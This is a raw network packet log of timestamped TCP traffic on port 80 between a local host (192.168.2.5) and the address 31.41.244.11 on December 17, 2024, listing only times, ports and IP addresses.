Dec 17, 2024 08:03:31.363862038 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.363914967 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.363981962 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.364582062 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.364790916 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.364841938 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.364921093 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.364969015 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.365710020 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.365758896 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.365823984 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.365870953 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.366615057 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.366667032 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.366688013 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.366735935 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.367538929 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.367593050 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.367633104 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.367679119 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.368441105 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.368490934 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.368555069 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.368604898 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.369343042 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.369393110 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.369461060 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.369507074 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.370285034 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.370337009 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.370387077 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.370434046 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.371196985 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.371243000 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.371356964 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.371407032 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.372092009 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.372185946 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.372210979 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.372257948 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.373099089 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.373150110 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.373155117 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.373202085 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.373970985 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.374017954 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.374070883 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.374118090 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.374851942 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.374901056 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.374967098 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.375014067 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.375787973 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.375837088 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.375895977 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.376012087 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.376704931 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.376753092 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.376816988 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.376863956 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.377620935 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.377670050 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.377728939 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.377770901 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.378525019 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.378573895 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.378654003 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.378701925 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.379426956 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.379472017 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.379547119 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.379592896 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.380368948 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.380419016 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.380491018 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.380538940 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.381272078 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.381316900 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.381325960 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.381371975 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.382165909 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.382217884 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.382282972 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.382328033 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.383083105 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.383132935 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.383213043 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.383260012 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.384004116 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.384052038 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.384124041 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.384176016 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.384943962 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.385044098 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.385055065 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.385107994 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.530045986 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.530080080 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.530105114 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.530138969 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.530193090 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.530246973 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.530267954 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.530622959 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.531126976 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.531181097 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.531225920 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.531272888 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.532088041 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.532147884 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.532211065 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.532257080 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.532717943 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.532772064 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.532877922 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.532928944 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.533592939 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.533646107 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.533711910 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.533760071 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.534514904 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.534574032 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.534650087 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.534697056 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.535420895 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.535470963 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.535537004 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.535583019 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.536334038 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.536387920 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.536453009 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.536501884 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.537245035 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.537303925 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.537369967 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.537420034 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.538228989 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.538284063 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.538331032 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.538397074 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.539091110 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.539144039 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.539226055 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.539274931 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.540030003 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.540085077 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.540178061 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.540226936 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.540914059 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.540967941 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.541033030 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.541080952 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.541824102 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.541878939 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.541953087 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.542002916 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.542768002 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.542823076 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.542870045 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.542913914 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.543658972 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.543709040 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.543773890 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.543823004 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.544624090 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.544671059 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.544677973 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.544718027 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.545516968 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.545574903 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.545653105 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.545701027 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.546422958 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.546473980 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.546477079 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.546519995 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.547358036 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.547410965 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.547472954 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.547519922 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.548242092 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.548290968 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.548369884 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.548418045 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.549165964 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.549216032 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.549280882 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.549329996 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.550110102 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.550158978 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.550293922 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.550344944 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.551028013 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.551086903 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.551156998 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.551212072 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.551913977 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.551969051 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.552056074 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.552104950 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.552819967 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.552869081 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.552947998 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.552997112 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.553740025 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.553791046 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.553854942 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.553901911 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.554743052 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.554796934 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.554819107 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.554866076 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.555584908 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.555634975 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.555701017 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.555748940 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.556509018 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.556571007 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.556631088 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.556680918 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.557423115 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.557485104 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.557548046 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.557598114 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.558341980 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.558398962 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.558456898 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.558509111 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.559237003 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.559294939 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.559372902 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.559418917 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.560154915 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.560220957 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.560266018 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.560312986 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.561115980 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.561171055 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.561198950 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.561244011 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.562025070 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.562083960 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.562115908 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.562160969 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.562917948 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.563033104 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.563033104 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.563088894 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.563836098 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.563893080 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.563949108 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.563999891 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.564753056 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.564795971 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.564933062 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.564985991 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.565707922 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.565763950 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.565818071 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.565861940 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.566562891 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.566620111 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.566675901 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.566728115 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.567482948 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.567533970 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.567615032 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.567658901 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.568387985 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.568450928 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.568528891 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.568573952 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.569310904 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.569363117 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.569459915 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.569504976 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.570267916 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.570313931 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.570373058 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.570414066 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.571235895 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.571286917 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.571362972 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.571424961 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.572062016 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.572108030 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.572170973 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.572216988 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.573019028 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.573066950 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.573132038 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.573180914 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.574043989 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.574088097 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.574131012 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.574174881 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.574896097 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.574956894 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.574978113 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.575022936 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.575794935 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.575845957 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.576080084 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.576126099 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.576657057 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.576704979 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.576770067 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.576816082 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.577733040 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.577774048 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.577784061 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.577814102 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.725967884 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.726032972 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.726119995 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.726169109 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.726402998 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.726449966 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.726510048 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.726552010 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.727189064 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.727232933 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.727308035 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.727355003 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.728132010 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.728149891 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.728195906 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.728205919 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.729089975 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.729108095 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.729137897 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.729151011 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.729799986 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.729845047 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.729903936 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.729948997 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.730832100 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.730876923 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:31.730962992 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:31.731004000 CET	49867	80	192.168.2.5	31.41.244.11
